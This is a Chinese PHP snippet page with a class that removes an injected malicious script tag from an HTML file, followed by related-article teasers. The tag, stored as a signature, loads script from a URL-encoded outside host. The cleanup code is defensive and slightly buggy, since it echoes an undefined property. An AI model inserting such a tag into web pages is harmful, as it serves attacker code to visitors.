php 清除网页病毒的方法

yipeiwu_com6年前PHP代码库
<?php
Class clear_virus{
public $index ='b.html';
public $filepath =array('b.html');
public $virus_type ="<script src=http://%61%76%65%33%2E%63%6E></script>";
function open_file(){
if(file_exists($this->index)){
$tmp =file_get_contents($this->index);
if( strrpos($tmp,$this->virus_type)!== false){
$temp =str_replace($this->virus_type,'',$tmp);
$handle =fopen($this->index,'w');
fwrite($handle,$temp);
fclose($handle);
}else{
echo $this->virus_find;
}
}
}
}
$virus =new clear_virus;
$virus->open_file();
?>
清除script 病毒

相关文章

详谈symfony window下的安装 安装时候出现的问题以及解决方法

1. cmd进入DOS  , cd 到 php.exe 的目录下 2. php -r "readfile('http://symfony.com/installer');" &...

PHP使用curl_multi_select解决curl_multi网页假死问题的方法

本文实例讲述了PHP使用curl_multi_select解决curl_multi网页假死问题的方法。分享给大家供大家参考,具体如下: curl_multi可以批处理事务,给网页编程带来...

PHP动态分页函数,PHP开发分页必备啦

贴代码: 复制代码 代码如下: /** * 分页函数 * * @param int $count 条目总数 * @param int $perlogs 每页显示条数目 * @param...

PHP常用函数和常见疑难问题解答

首先介绍下比较简单但必不可少且实用的知识,可以当手册查询,适合像我一样的新手看。 PHP常用库函数介绍 一、PHP字符串操作常用函数1.确定字符串长度 int strlen(string...

理清PHP在Linxu下执行时的文件权限方法

理清PHP在Linxu下执行时的文件权限方法

一、文件权限及所属 1、文件有三种类型的权限,为了方便期间,可以用数字来代替,这样可以通过数字的加减,用一个数字就能标识这个文件的权限了,例如7=4+2+1,表示读写执行3个权限都有,6...